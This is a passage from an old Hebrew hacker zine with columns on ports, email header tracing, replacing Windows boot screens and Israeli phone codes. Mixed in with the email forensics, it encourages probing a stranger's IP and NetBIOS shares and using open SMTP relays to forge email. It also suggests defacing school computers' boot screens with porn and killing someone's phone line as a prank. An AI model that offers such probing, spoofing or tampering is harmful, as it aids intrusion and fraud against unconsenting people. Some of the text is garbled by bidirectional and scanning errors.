‫בפורט הזה לדוגמה ‪ Sjjh\\\\||###$^%$^$^%$‬התוכנית יכולה להשתגע ו"להפיל"‬
‫אתכם ישר לתוך החשבון של ה ‪ ...root‬אבל אל תתלהבו‪ ,‬זה מאוד מאוד נדיר‪.‬‬
‫וגם רוב השרתים חוסמים את הפורט הזה כי הוא מאוד עוזר לנו‪): ...‬‬
‫‪ .HTTP - 80‬יענתו אתרים‪ ,‬נו‪ ,‬אתם יודעים‪.‬‬
‫‪ - 110‬קריאת אימייל‪.‬‬
‫‪ - 139‬שיתוף! ייאה!‬

‫את הרשימה השלמה של הפורטים הידועים תוכלו להשיג ב ‪RFC 1700‬‬

‫‪72‬‬
‫(פשוט חפשו אותו) או בכל מיני מסמכים (חפשו ‪ port list‬או משהו כזה)‪.‬‬
‫פורטים ידועים הם מ‪ 1-‬עד ‪ 1024‬אם אני זוכרת נכון‪ .‬אלה פורטים סטנדרטיים‪,‬‬
‫זאת אומרת שעל כל שרת פורט ‪ 25‬משמש לאימייל‪ ,‬פורט ‪ 80‬לאתר וכדומה‪.‬‬
‫פורטים מעל הערך הזה הם פורטים מוזרים יותר‪): .‬‬

‫אם אתם רוצים לראות איזה פורטים פתוחים תורידו פורט סקאנר‬
‫(או תבנו לבד‪ ,‬זה לקח לי בדיוק ‪ 5‬דקות) ותריצו סריקה‪ .‬הסקאנר יחזיר לכם את‬
‫מספרי הפורטים הפתוחים‪ .‬בכל זאת‪ ,‬עדיף גם לסרוק ידנית כי ככה אתם משיגים‬
‫יותר אינפו‪.‬‬

‫כשאתם מצליחים להתחבר לפורט מסויים‪ ,‬שימו לב לאיך שהוא מקבל אתכם‪.‬‬
‫בד"כ הוא יכתוב את השם של השרת או התוכנה שהוא מריץ או‬
‫כלמיני פרטים אחרים עליו‪ .‬ככה תדעו איך לפרוץ אותו‪.‬‬
‫אל תזלזלו בהודעות שגיאה‪ .‬הן יכולות לתת הרבה מאוד‪ .‬תקראו אותן‪.‬‬
‫דבר ראשון כשאתם מצליחים להתחבר לפורט‪ :‬נסו לקבל עזרה‪.‬‬
‫הקלידו ‪ .help‬אם זה לא עוזר תנסו ? או ‪ . man‬פורטים גבוהים יותר או כאלה שיש‬
‫להם הרבה בעיות מגינים על עצמם בזה שהם לא מסכימים לתת עזרה‪ .‬וזה די מעצבן‪.‬‬

‫הערה‪ :‬כשאתם מתחברים לפורט‪ ,‬השרת מריץ ‪ daemon‬שזאת תוכנה שמאזינה לאותו פורט‬
‫ומגיבה לקלט מסויים ממכם‪ .‬סתם לידע כללי‪ ,‬אם תתקלו במושג הזה‪.‬‬

‫טיפ אחרון‪ :‬רוצים לראות איזה פורטים פתוחים אצלכם? פתחו את חלון דוס (‪,)MS DOS‬‬
‫והקלידו‪:‬‬
‫‪netstat -a‬‬
‫ככה תראו את כל השרתים שאתם מחוברים אליהם‪ ,‬שליד כל אתר כתוב הפורט שאליו‬
‫אתם מחוברים‪ .‬מן הסתם תראו שם גם את ספק האינטרנט שלכם ואתרים שאתם מחוברים‬
‫אליהם באותו הרגע‪.‬‬
‫וגם אנשים שאתם מדברים אייתם באייסיקיו או במירק באותו הרגע‪ ): .‬הא הא‪.‬‬
‫אם כתוב ליד הפורט ‪ established‬זה אומר שהפורט פתוח על השרת ומחכה לפקודות‬
‫ממכם (נניח אתר שמחכה לקלט ממכם) ואם כתוב ‪ listening‬הפורט פתוח אצלכם ומאזין‬
‫למשהו‪ .‬כמו למשתמש אייסיקיו אחר שאתם מדברים אייתו באותו רגע‪.‬‬
‫אה‪ ,‬ואם אתם רואים שפורט ‪ 31337‬פתוח אצלכם אז אכלתם אותה‪,‬‬
‫יש עליכם טרויאני (‪)))): .)Back Orifice‬‬

‫יש הרבה נושאים כאן כמו פקודות ‪ FTP‬ודוס שלא פירטתי עליהם כי אני לא רוצה‬
‫להתיש אתכם לגמרי וגם כי אני כבר די מותשת‪ .‬יאללה נמאס לי‬

‫‪have fun‬‬
‫‪i love you‬‬
‫‪always‬‬
‫שלכם‬
‫‪Blood Runner‬‬

‫‪73‬‬
‫הבנת כותרות ‪E-mail‬‬

‫"‪"All in all is all we are‬‬


‫(‪)Kurt Cobain‬‬

‫שיעור שני באינפורמציה בגיליון‪ :‬היום נלמד על‬


‫כותרות אימייל ואיך להשיג מידע דרכן‪ ,‬וגם נשחק קצת עם כל מיני מחשבים בדרך‪.‬‬
‫טוב‪ ,‬הסיפור הוא כזה‪:‬‬
‫יום העצמאות‪ ,‬היה לי ערב מעצבן ולא כייפי אז מסטלתי את עצמי עם מוזיקה‪.‬‬
‫אני חוזרת מ"סוטול" של ‪ 2‬אלבומים של מרילין מנסון (תאמינו לי זה יכול להקפיא‬
‫את המוח לבנאדם הכי שפוי‪ ,)..‬מתחברת לאינטרנט‪ ,‬בודקת אימייל‪ ,‬ובום חוזרת‬
‫למציאות במכה‪:‬‬

‫‪From: 1@walla.co.il‬‬
‫‪Subject: ICQ Email Message‬‬
‫‪Date: April 6, 2000 12:03:22 PM EDT‬‬

‫אתר גיהינום אתר מדליק אך כאשר אחד ממכם מפרסם חשבונות‬


‫בנקים של אחרים זה מבחיל ועובר את כל גבול הטעם הטוב!‬

‫התביישו לכם‪ ,‬מי אתם?‬


‫מי אתם שתפרסמו חשבונות בנקים‪ ,‬הבעיה שלכם שאתם לא ועמלים בשביל הכסף‪.‬‬

‫אין לכם ערך לכסף!!!‬


‫עוד מסמך כזה יפורסם הוא יעבור למשטרה‬
‫ודבר נוסף אם חשבון שאיכשהו קרוב אלי‬
‫אני אדאג שאתרכם יהופך שמיים וארץ!‬

‫דמכם בראשכם‪ ,‬יש לנו קשרים‬


‫ואישית אם ניתפס אחד מכם אם לא תורידו מסמך זה יפגע קשות‬
‫אתם עכשיו לא בטוחים‪ ,‬אתם עוסקים באש!!!‬
‫‪----------------------------------‬‬
‫‪Download ICQ at http://www.icq.com‬‬

‫ת'אמת? די נבהלתי בהתחלה‪ .‬אבל אח"כ חטפתי קריזה ‪ -‬מה זה האיומים האלה?‬
‫תראו‪ ,‬גם אני נגד לפרסם חשבונות בנקים‪ ,‬אבל לאיים ככה על בחורה תמימה וצדיקה‬
‫כמוני?!?!‬
‫אוקי‪ ..‬מה עכשיו? מן הסתם זה אימייל מזויף‪ .‬בואו נראה מה אנחנו יכולים לגלות‬
‫עליו‪ .‬בשביל זה אנחנו צריכים לראות את כל הכותרת (‪ )header‬של האימייל‪.‬‬
‫באימייל‪.‬קום עושים את זה ע"י זה שלוחצים על הלינק‪:‬‬
‫‪Show all headers‬‬
‫באאטלוק אקספרס לדוגמה‪ ,‬עושים את זה ע"י לחיצה ימנית על ההודעה ואז בחירה‬
‫ב"מאפיינים"‪ ,‬כרטיסיית "פרטים"‪.‬‬
‫ב ‪ eudora‬רואים את כל הכותרת ע"י לחיצה על הכפתור "‪): ."blah blah blah‬‬
‫אז מכיוון שקראתי את ההודעה דרך אימייל‪.‬קום לחצתי על הלינק וזה מה שקיבלתי‪:‬‬

‫| ‪Show all headers‬‬


‫‪Subject: ICQ Email Message‬‬
‫‪Date: April 6, 2000 12:03:22 PM EDT‬‬
‫‪To: zarquon@email.com Add to Address Book‬‬
‫‪:CC‬‬
‫‪>Return-Path <1@walla.co.il‬‬

‫‪74‬‬
Received from smv347-ec.mail.com by ida437-ec.mail.com )Version 1.11( for
)<zarquon@email.com>; Tue, 24 Apr 2001 08:17:27 -0400 )EDT
Received from mailgw2.netvision.net.il )mailgw2.netvision.net.il [194.90.1.9]( by
smv347-ec.mail.com )8.9.3/8.9.1SMV070400( with ESMTP id IAA16497 for
<zarquon@email.com> sent by <1@walla.co.il>; Tue, 24 Apr 2001 08:17:26 -0400
))EDT
Received from walla.co.il )ras4-p2.jlm.netvision.net.il [62.0.147.2]( by
mailgw2.netvision.net.il )8.9.3/8.9.3( with SMTP id PAA26992 for
)<zarquon@email.com>; Tue, 24 Apr 2001 15:19:01 +0300 )IDT
>Message-Id <200104241219.PAA26992@mailgw2.netvision.net.il
MIME-Version 1.0
"Content-Type text/plain; charset="iso-8859-1
Content-Transfer-Encoding base64
X-MIME-Autoconverted from 8bit to base64 by smv347-ec.mail.com id IAA16497
X-Delivery Mail.com IDA 1.11

...‫אווו מה כל השטויות האלה? בוא נבדוק שורה שורה‬

Received from smv347-ec.mail.com by ida437-ec.mail.com )Version 1.11( for


)<zarquon@email.com>; Tue, 24 Apr 2001 08:17:27 -0400 )EDT

‫ קיבל את האימייל משרת‬smv347-ec.mail.com ‫זה אומר ששרת אימייל בשם‬


,mail.com ‫ שניהם נמצאים על‬,‫ שימו לב‬. ida437-ec.mail.com ‫בשם‬
‫ השערה שלי? אלה השרתים‬.‫או במילים אחרות שניהם נמצאים על אותה רשת‬
‫קום ולכן הם לא כ"כ מעניינים אותנו כי אנחנו רוצים לדעת מאיפה‬.‫של אימייל‬
.‫האימייל הגיע‬
.)version 1.11( ‫שימו לב שמצוין גם התאריך והגרסה של השרת‬
25 ‫ שבטח יש מלא חורי אבטחה על פורט‬,‫ שזה אומר‬...‫?? זה בטח גרסה ישנה‬1.11 ‫רק‬
.‫! אבל נעזוב את זה כרגע‬ida437-ec.mail.com ‫של‬

Received from mailgw2.netvision.net.il )mailgw2.netvision.net.il [194.90.1.9]( by


smv347-ec.mail.com )8.9.3/8.9.1SMV070400( with ESMTP id IAA16497 for
<zarquon@email.com> sent by <1@walla.co.il>; Tue, 24 Apr 2001 08:17:26 -0400
))EDT

‫קום‬.‫ שלח את האימייל לשרת אימייל‬mailgw2.netvision.net.il ‫זה אומר לנו ששרת בשם‬
‫ כמו שאתם רואים מצוינת הגרסה‬.)smv347-ec.mail.com(
‫) וגם העובדה שהוא‬8.9.3/8.9.1SMV070400( ‫שהשרת מריץ‬
.ESTMP ‫משתמש בפרוטוקול אימייל‬
ID )IAA16497( - ‫האי יפי בסוגריים הוא האי יפי של שרת האימייל וה‬
.‫זה מספר זהות שניתן לכל אימייל שנשלח‬
. mailgw2.netvision.net.il ‫אני מתחילה לשער שהאימייל נשלח במקור דרך השרת‬
:‫בואו נבדוק את השורה הבאה‬

Received from walla.co.il )ras4-p2.jlm.netvision.net.il [62.0.147.2]( by


mailgw2.netvision.net.il )8.9.3/8.9.3( with SMTP id PAA26992 for
)<zarquon@email.com>; Tue, 24 Apr 2001 15:19:01 +0300 )IDT
>Message-Id <200104241219.PAA26992@mailgw2.netvision.net.il

‫ הוא זה‬walla.co.il ‫ נראה כאילו‬,‫אווווווו! תראו מה יש לנו פה!! במבט ראשון‬

75
‫ששלח את האימייל‪ ..‬א‪-‬ב‪-‬ל בסוגריים כתובה הכתובת האמיתית ממנה נשלח האימייל‪:‬‬
‫‪ras4-p2.jlm.netvision.net.il‬‬
‫[‪]62.0.147.2‬‬
‫!!!‬
‫שימו לב שבאמייל אמיתי לא יגידו לכם שהאימייל התקבל משרת אחד אבל יכתבו‬
‫בסוגריים כתובת אחרת‪...‬‬
‫מישהו מהאי יפי הזה שלח אימייל דרך ‪ mailgw2.netvision.net.il‬אלי‪.‬‬
‫מישהו מסביבות ירושלים‪ ,‬כי כתוב ‪.jlm‬‬
‫והנה הדבר הכי חשוב פה‪:‬‬
‫‪>Message-Id <200104241219.PAA26992@mailgw2.netvision.net.il‬‬
‫לכל אימייל שנשלח דרך שרת כלשהוא (במקרה שלנו ‪)mailgw2.netvision.net.il‬‬
‫יש מספר זהות מיוחד (‪ .)ID‬ככה המנהל יכול לבדוק בדיוק מי שלח‪ ,‬לאן וכולי‪.‬‬
‫הספרות שלפני הנקודה מציינות תאריך‪ .200104241219 :‬שזה אומר ‪24/04/2001‬‬
‫בשעה ‪.12:19‬‬
‫הספרות שאחרי הנקודה הן מספר הזהות המיוחד של האימייל‪.‬‬

‫רגע! כתוב פה שזה נשלח ב ‪ 24‬באפריל! אבל באימייל עצמו היה כתוב ה‪ 6-‬באפריל!‬
‫ולא רק זה‪ ,‬גיליון ‪ 5‬יצא רק ב ‪ 20‬ומשהו באפריל‪ .‬הנה עוד הוכחה שהאימייל מזויף‪.‬‬
‫ולא רק זה‪ ,‬אלא גם התאריך מזויף‪ .‬למה שמישהו ירצה לזייף תאריך?‬
‫אל תשאלו אותי‪...‬‬
‫בכל זאת‪ ,‬עדיין היו לי ספקות‪ ,‬ולכן החלטתי לוודא שהוא באמת מזויף‪.‬‬
‫לפי הכותרת אנחנו יודעים שהוא נשלח מנטוויז'ן ‪,mailgw2.netvision.net.il -‬‬
‫אבל כתוב שהוא נשלח מ ‪ .walla.co.il‬אז הלכתי לאתר של נטוויז'ן וראיתי שהם‬
‫ממליצים על מנוע החיפוש נענע שהוא למיטב ידיעתי המתחרה של וואלה ולכן לא‬
‫הגיוני שואללה יושבים על נטוויז'ן‪ .‬סתם בשביל הכיף נכנסתי גם לואללה‪ ,‬פתחתי‬
‫חלון דוס והקלדתי‪:‬‬
‫‪tracert www.walla.co.il‬‬
‫וזה מה שקיבלתי‪...‬‬

‫]‪ms 261 ms 275 ms diup-202-6.inter.net.il [213.8.202.6 257 1‬‬


‫]‪ms 261 ms 275 ms diup-202-1.inter.net.il [213.8.202.1 253 2‬‬
‫‪ms 392 ms 327 ms 213.8.8.153 266 3‬‬
‫‪ms 273 ms 261 ms 192.116.202.158 267 4‬‬
‫‪ms 274 ms 274 ms 192.117.159.22 252 5‬‬
‫* ‪Request timed out‬‬ ‫*‬ ‫‪* 6.‬‬
‫* ‪Request timed out‬‬ ‫*‬ ‫‪* 7.‬‬
‫‪8‬‬

‫הפקודה ‪ tracert‬בודקת באיזה נתיבים עובר המידע שנשלח לואללה‪ ,‬זאת אומרת דרך‬
‫איזה מחשבים‪ .‬שתי השורות הראשונות קשורות למחשב שלי (אינטרנט זהב)‪.‬‬
‫לא מצאתי שם שום דבר שקשור איכשהוא לנטוויז'ן‪ .‬סתם בשביל ידע כללי‪,‬‬
‫שימו לב שהמידע עובר דרך עוד ‪ 2‬מחשבים שנמצאים על אינטרנט זהב ‪ -‬מכיוון ששני‬
‫איי‪-‬פיים מתחילים ב‪ .213.8.202 -‬אחד מהם הוא מן הסתם האייפי שלי אז זה אומר‬
‫שעוד מחשב על אינטרנט זהב מקבל את הנתונים לפני שהוא שולח לי‪ .‬עוד השערה ‪-‬‬
‫וואלה נמצא על שרת נפרד‪ ,‬לא קשור לשום דבר ובטח שלא לנטוויז'ן‪.‬‬
‫טוב‪ ,‬אז מה עושים?‬
‫יש לנו את הכתובת שממנה האימייל נשלח‪ .‬א‪-‬ב‪-‬ל אחרי בירור קצר גיליתי שנטויז'ן‬
‫לא נותנות אייפיים סטטיים (זאת אומרת אייפיים קבועים‪ ,‬כמו שיש לאתרים)‪ ,‬ואז‬
‫כל פעם שמתחברים מקבלים אייפי אחר‪.‬‬
‫אז כמו שאמרתי לכם‪ ,‬על כל שרת מייל כמעט יש רישום של הודעות שנשלחו מאותו שרת‪.‬‬
‫המנהל של השרת יכול לבדוק ולדעת בדיוק מי שלח מאיפה וכולי‪.‬‬

‫‪76‬‬
‫שלחתי אימייל ל ‪ abuse@netvision.net.il‬וביקשתי מהם שיתנו לי את כתובת האימייל‬
‫האמיתית של מי ששלח בתאריך ‪ 24.4.2001‬מהאייפי ‪ 62.0.147.2‬הודעה עם מספר‬
‫זהות ‪ .PAA26992‬הם ענו שבלי צו של בית משפט הם לא יכולים למסור לי שום פרטים‬
‫על חשבונות של אנשים‪(: .‬‬
‫טוב‪ ...‬מנהל נטויזן הוא היחיד שיכול לברר לי מי זה (האלטרנטיבה היא לפרוץ‬
‫לנטוויז'ן‪ )...‬אז אין מה לעשות‪ .‬אני רק רציתי להתנצל על זה שפירסמנו חשבונות‬
‫בנק‪): ...‬‬

‫סתם בשביל הכיף‪ ,‬טלנטתי ל ‪ mailgw2.netvision.net.il‬ול ‪smv347-ec.mail.com -‬‬


‫פורט ‪ .25‬השרת לא מבקש פקודת זיהוי ‪ !helo‬זה מקל על הזיוף‪.‬‬
‫שרתים די נחמדים האמת‪ ,‬והדבר הכי טוב בהם ‪ -‬הם נותנים לזייף מכל דומיין ניים‬
‫ולכל דומיין ניים‪( .‬יש כאלה שנותנים לזייף רק לכתובות של הדומיין ניימים שלהם)‪.‬‬
‫ניסיתי גם לבדוק מי זה ‪ 62.0.147.2‬שהיה מחובר באותו רגע‬
‫(גיליתי את זה ע"י הפקודה ‪ .)Ping‬חקרתי קצת באמצעות ‪ netstat‬ו ‪ nbtstat‬וגיליתי‬
‫מחשב חמוד בשם "ישראל"‪ ,‬שימו לב לזה‪:‬‬

‫‪Zero Cool C:\WINDOWS>nbtstat -a 62.0.147.2‬‬

‫‪NetBIOS Remote Machine Name Table‬‬

‫‪Name‬‬ ‫‪Type‬‬ ‫‪Status‬‬


‫‪---------------------------------------------‬‬
‫‪ISRAEL‬‬ ‫‪<00> UNIQUE‬‬ ‫‪Registered‬‬
‫‪NONE‬‬ ‫‪<00> GROUP‬‬ ‫‪Registered‬‬
‫‪ISRAEL‬‬ ‫‪<03> UNIQUE‬‬ ‫‪Registered‬‬

‫‪MAC Address = 44-45-53-54-00-00‬‬


‫‪54-00-00‬‬

‫איזה יופי‪ ..‬שיתופים‪ ..‬טוב ממילא זה לא המחשב שרציתי‪.‬‬

‫אז מה כן יצא לנו מהטקסט המבולגן הזה??‬


‫למדנו איך לאתר מקור של אימייל‪ .‬לדעת מאיפה הוא נשלח‪ ,‬האם הוא מזויף וקצת‬
‫פרטים על השולח (אנחנו יודעים שהוא מירושלים‪ ..‬יש‪.)..‬‬
‫שימו לב שאם האייפי ממנו נשלח האימייל היה סטטי היינו יכולים לברר המון‬
‫פרטים על המחשב השולח ואולי גם לפרוץ לשם‪.‬‬
‫למדנו גם לשים לב לגרסאות תוכנה‪ .‬גרסאות ישנות מאוד יכולות להכיל דברים‬
‫מעניינים מאוד לפעמים‪.‬‬
‫למדנו על מספרי זהות של אימיילים‪ ,‬וכן‪ ,‬למדנו שכשאנחנו מזייפים אימייל‬
‫אפשר לעלות עלינו בקלות‪ .‬אם אתם רוצים לזייף טוב‪ ,‬נסו שרתים שונים ובדקו‬
‫את הכותרות כדי לראות מה הכי טוב‪.‬‬
‫הכרנו את הפקודה ‪ tracert‬שתשמש אותנו הרבה כדי לעקוב אחרי העברת מידע‬
‫בין מחשבים‪.‬‬
‫מצאנו שני שרתי אימייל חביבים שיזייפו לנו כל מה שנרצה בחינם וגם מחשב‬
‫בודד בשם ישראל שזקוק לאימוץ‪.‬‬
‫טוב‪ ,‬אז לי היה כיף למרות שלא יצא מזה כלום‪ ,‬לכם היה מעניין אני מקווה‪,‬‬
‫וגם אם לא לפחות למדתם משהו חדש‪.‬‬
‫ביי‪,‬‬
‫"להתראות‪ ,‬שלום‬
‫זה לא נגמר‪ ,‬זה רק הסוף"‬
‫אוהבת תמיד‪,‬‬

‫‪77‬‬
Blood Runner

78
‫החלפת מסכי הפעלה‪/‬כיבוי‬

‫"בנאדם לא נולד אהבל‪ ,‬הוא גודל להיות כזה במסגרות ומוסדות כמו של מערכת החינוך‬
‫בישראל‪".‬‬
‫(גיהנום)‬

‫(*)(*)‬
‫) (‬
‫( )‬
‫נחשו מי או מה אני??‬

‫שלא כמו במערכת לינוקס‪ ,‬מערכת ההפעלה ווינדוס אינה נותנת למשתמש שליטה מלאה‪ ,‬אלא‬
‫להיפך‪.‬‬
‫אז אולי אתם יכולים להחליף את תמונת הרקע בשולחן העבודה‪ ,‬ולבחור איזה שמות לתת‬
‫לקבצים אבל‬
‫בסופו של דבר כוח השליטה שלכם על מערכת ההפעלה שמותקנת אצלכם במחשב‪ ,‬אפסית‪ .‬היום‬
‫כל זה יישתנה??‬
‫לא‪ .‬אבל אני אלמד אתכם משהו חמוד‪ .‬אצל רובכם‪ ,‬כשאתם מדליקים את המחשב‪ ,‬יש את סמל‬
‫החלונות של ווינדוס‬
‫ומאחוריו רקע כחול‪ .‬למטה כתוב‪:‬‬
‫‪Microsoft Windows 98‬‬
‫או‬
‫‪Microsoft Windows 95‬‬
‫חוץ מזה‪ ,‬כשאתם מכבים את המחשב‪ ,‬אז לרובכם המסך שחור‪ ,‬וכתוב משהו כמו‪:‬‬
‫'כעת ניתן לכבות את המחשב' בצבע כתום‪ .‬אני מקווה מאוד שאתם יודעים למה אני מתכוון‪ .‬בכל‬
‫מקרה‪,‬‬
‫לא משנה איך נראים אצלכם מסכי ההפעלה‪/‬כיבוי‪ ,‬היום אתם עומדים לשנות אותם (אם אתם‬
‫רוצים) לאיך‬
‫שאתם רוצים שהם ייראו‪ .‬פיתחו את עורך הגרפיקה האהוב עליכם‪ .‬לא משנה אם זה ‪Paint Shot‬‬
‫‪,Pro‬‬
‫או ‪ Photoshop‬או כל דבר אחר‪ .‬אם אתם לא יודעים מה זה עורך גרפיקה או חושבים שאין לכם‪,‬‬
‫תיאלצו‬
‫להשתמש באחד פשוט שמגיע יחד עם מערכת הווינדוס שלכם‪ ,‬הרי זו תוכנת ‪.MS Paint‬‬
‫בכדי להפעיל אותה לחצו על התחל ‪ >-‬הפעלה‪...‬‬
‫בחלון שנפתח הקלידו‪:‬‬
‫‪C:\Program Files\Accessories\mspaint.exe‬‬
‫ולחיצו על מקש ה <‪ .>Enter‬לא באמת התכוונתי שתקלידו את כל השורה הזאת‪ ,‬סמנו אותה עם‬
‫העכבר ולחיצו‬
‫על ‪ .Ctrl + C‬זה ייבצע פעולת העתקה‪ .‬בחלון "הפעלה‪ "...‬לחצו על ‪ .Ctrl + V‬זה ייבצע פעולת‬
‫הדבקה‬
‫וככה תחסכו את כל ההקלדה‪ .‬אז אתם נמצאים בתוך העורך הגרפי שלכם‪ .‬כעת פיתחו את הקובץ‬
‫הבא‪:‬‬
‫‪C:\logo.sys‬‬
‫חשוב שתפתחו אותו בתוך עורך הגרפיקה‪ .‬אם זה לא מצליח לפתוח את הקובץ נסו את‪:‬‬
‫‪C:\ip.sys‬‬
‫כמו שאתם שמים לב יש לפניכם עכשיו את מסך ההפעלה של ווינדוס‪ .‬למה לעזאזל הוא בקובץ‬
‫מערכת???‬
‫(‪).sys‬‬
‫כי מיקרוסופט מצד אחד היו צריכים להחביא את הקובץ‪ ,‬מצד שני היו צריכים שיהיה‬
‫באפשרותם לגרום לו‬
‫שינויים גם אחרי שמערכת ההפעלה כבר הותקנה במחשב‪ ,‬בלי להתקין מחדש מדיסק אחר שבו‬
‫השינויים נעשו‬
‫בתיכנות עצמו‪ .‬אז הם שמרו את מסכי ההעפלה‪/‬כיבוי בתוך קובץ מערכת‪ ,‬דבר חכם כי למה‬
‫לעזאזל שמישהו‬

‫‪79‬‬
‫יישחק עם קובץ מערכת? זה בד"כ יהרוס את המחשב‪ ...‬מי בעולם ישחק עם קבצים כאלה?????‬
‫אנחנו‪ .‬טוב‪ ,‬אז תשתמשו בכלים שבתוכנת הגרפיקה שלכם כדי לשנות את מסך ההפעלה לאיך‬
‫שאתם רוצים שייראה‪.‬‬
‫אם אתם רוצים אתם גם יכולים לקחת תמונה אחרת (של מרילין מנסון לדוגמא‪ ,‬או אפילו של‬
‫עצמיכם)‪ ,‬ולשמור‬
‫אותה על שם הקובץ ‪C:\logo.sys‬‬
‫ואז בכל פעם שתפעילו את המחשב זה יופיע!!!‬
‫רק דבר אחד קטן‪ ,‬חשוב מאוד שהתמונה תהיה בגודל רוחב ‪ 320‬וגובה ‪ 400‬בפיקסלים‪ .‬גודל‬
‫הקובץ לא חשוב‬
‫אז גם אם זאת תמונה של מאה מגהבייט זה בסדר‪( .‬טוב אולי הגזמתי‪ ,‬אבל גודל הקובץ פה לא‬
‫עקרוני)‪.‬‬
‫אז אם התמונה שלכם לא בגודל המתאים פיתחו אותה עם העורך הגרפי ושנו את גודל התמונה ל‬
‫‪ 320‬על ‪.400‬‬
‫מה עוד נשאר לנו? מסכי הכיבוי‪ .‬בתוך העורך הגרפי פיתחו את הקובץ‪:‬‬
‫‪C:\windows\logow.sys‬‬
‫כעת פיתחו את‪:‬‬
‫‪C:\windows\logos.sys‬‬
‫כל מה שהסברתי על הקובץ ‪ C:\logo.sys‬נכון גם לגבי הקבצים האלה‪ .‬זה אולי לא נראה לכם‬
‫דבר כזה‬
‫מגניב‪ ,‬אבל פעם הבאה שתגיעו לבית ספר‪ ,‬אם יש לכם שם מחשבים‪ ,‬אני חושב שתסכימו איתי‬
‫שיהיה די כייף‬
‫ומצחיק אם תחליפו את מסכי ההפעלה‪/‬כיבוי בתמונת פורנו או ‪!!!!School Sucks‬‬
‫שלכם‪ ,‬גיהנום‬

‫‪80‬‬
‫מספרים שימושים‬

‫שלום לכולם!‬

‫הרבה זמן לא הייתה כתבה טובה על טלפוניה‪.‬‬


‫גם הכתבה הזאת עדיין לא משהו‪.‬‬
‫אבל לפחות זה משהו‪.‬‬

‫היום נלמד כמה "מספרים סודיים" לטלפון רגיל של בזק‪.‬‬


‫כמעט כולם מכירים את הקודים לפלאפונים של סלקום ‪ /‬אורנג'‪ /‬פלאפון‪,‬‬
‫אבל את הקודים לבזק כמעט אף אחד לא מכיר‪.‬‬

‫קוד ראשון‪.110 :‬‬


‫פשוט הרימו את הטלפון‪ ,‬וחייגו ‪ .110‬תענה לכם הקלטה שתקריא לכם את‪...‬‬
‫מספר הטלפון שלכם! למה זה שימושי לעזאזל‪ ,‬שאלתם? אז הנה‪:‬‬
‫‪ -‬אם יש לכם כמה קווים בבית‪ ,‬ואתם רוצים לבדוק אם שקע מסוים שייך למספר‬
‫אחד או לשני‪.‬‬
‫‪ -‬אם אתם אצל מישהו בבית‪ ,‬שמסרב לתת לכם את מספר הטלפון שלו‪.‬‬
‫‪ -‬אם אתם בטלפון ציבורי‪ ,‬ואתם רוצים לדעת מה המספר שלו כדי שיתקשרו‬
‫אליכם חזרה‪.‬‬
‫‪ -‬כל דבר אחר שעולה לכם בראש‪.‬‬

‫קוד נוסף‪.113 :‬‬


‫פשוט הרימו את הטלפון‪ ,‬וחייגו ‪ .113‬תשמעו כמה צפצופים‪ ,‬מהירים יותר‬
‫מצליל שיש אחרי שמחייגים ועד שעונים לכם‪ ,‬אבל איטי יותר מצליל תפוס‪.‬‬
‫אחרי כמה צפצופים כאלה‪ ,‬קו הטלפון שלכם פשוט ימות! טלפונים שלא מחוברים‬
‫לחשמל‪ ,‬יעני טלפונים פשוטים לא אלחוטיים ובלי מזכירה‪ ,‬יפסיקו בכלל לפעול‬
‫כאילו הוצאתם אותם מהשקע‪.‬‬
‫ועוד דבר‪ :‬זה זמני‪ ,‬רק בערך ‪ 2‬דקות‪ .‬אחרי ‪ 2‬דקות הקו יחזור‪ .‬אחרי שהוא‬
‫חוזר‪ ,‬בהתחלה הוא יעשה צפצופים כמו קודם‪ ,‬אבל אז תניחו את השפורפרת במקום‬
‫ותוך עוד איזה דקה זה יסתדר‪.‬‬
‫למה זה שימושי לעזאזל‪ ,‬שאלתם? אז הנה‪( :‬יש לי דז'ה וו עכשיו)‬
‫‪ -‬לעבוד על מישהו שאתם אצלו ‪ -‬לבקש ממנו לעשות שיחה‪ ,‬להרוג לו את הקו‪,‬‬
‫ואז להגיד לו שהקו לא עובד‪ ,‬מראים לו‪ ,‬והוא נכנס לפניקה!‬

‫עוד קוד‪.114 :‬‬


‫פשוט חייגו אותו‪ ,‬יהיה צליל המתנה של אחרי חיוג‪ ,‬ואז הוא פשוט יתחיל‬
‫לצפצף כמו משוגע‪ .‬למה זה טוב? זה לא‪.‬‬

‫הקוד הבא‪.112 :‬‬


‫אתם בטח יודעים‪ ,‬שמי שלא בחר מפעיל בין לאומי ‪ -‬החיוג באמצעות ‪ 00‬או ‪188‬‬
‫נחסם בשבילו‪ ,‬וכשהוא מנסה לחייג עם ‪ 00‬או ‪ 188‬אז הוא מקבל הודעה שהוא לא‬
‫יכול‪ .‬בעצם‪ ,‬הוא מופנה עם "עקוב אחרי" אל המספר ‪ ,112‬שם נמצאת ההודעה‪.‬‬
‫אז אם תחייגו ‪ 112‬תשמעו את ההודעה‪.‬‬
‫למה זה טוב לעזאזל? אפשר ללמוד להגיד "שירות החיוג באמצעות ‪ 00‬ו‪ 188-‬חסום"‬
‫באנגלית‪ ,‬ערבית‪ ,‬ורוסית‪.‬‬

‫טיפ קטן‪ :‬אם יש לכם טלפון ישן‪ ,‬שמחייג ב"מתקפים" (שלוחצים על ‪ ,5‬שומעים ‪5‬‬
‫תקתוקים) אז אתם לא יכולים להשתמש בכל מיני "שרותי טלפון" שמבקשים ממכם ללחוץ‬
‫על מספרים‪ ,‬כמו למשל טלמסרים למיניהם‪ .‬אז בחלק מהטלפונים האלה‪ ,‬אם תחייגו * לפני‬
‫המספר‪ ,‬הטלפון יחייג בחיוג צלילים ‪ -‬השיטה הנורמלית‪ ,‬שלכל מקש יש צליל‪.‬‬

‫אם יש לכם פלאפון‪ ,‬כנסו לספר טלפונים שלו והוסיפו שם חדש שקוראים לו‪:‬‬

‫‪81‬‬
‫‪umop apis dn‬‬
‫מה כתוב כאן? הפכו את הטלפון וגלו!‬

‫מנגינות בטלפון!‬
‫‪-------------------‬‬
‫‪3212333-222-333-3212333-22321-1‬‬
‫(איפה שיש "‪ "-‬לוחצים יותר זמן על המקש)‬
‫חייגו את המספר הזה ‪ -‬ותקשיבו בזמן שאתם מחייגים ‪ -‬ותשמעו את השיר "למרים טלה קטן"‪.‬‬
‫מי שלמד אי פעם נגינה‪ ,‬מכיר את השיר הזה כי זה השיר הראשון שלומדים כשלומדים נגינה‪.‬‬

‫‪ - 7486168‬חייגו את המספר הזה ותשמעו את ההתחלה של "ברני"! כדאי לחייג * או משהו כזה‬
‫קודם‪ ,‬כי מספר כזה באמת קיים ומישהו עשוי לענות לכם‪.‬‬

‫‪ - 1131222‬זה עולם קטן מאוד‪.‬‬

‫אז זהו בינתיים‬


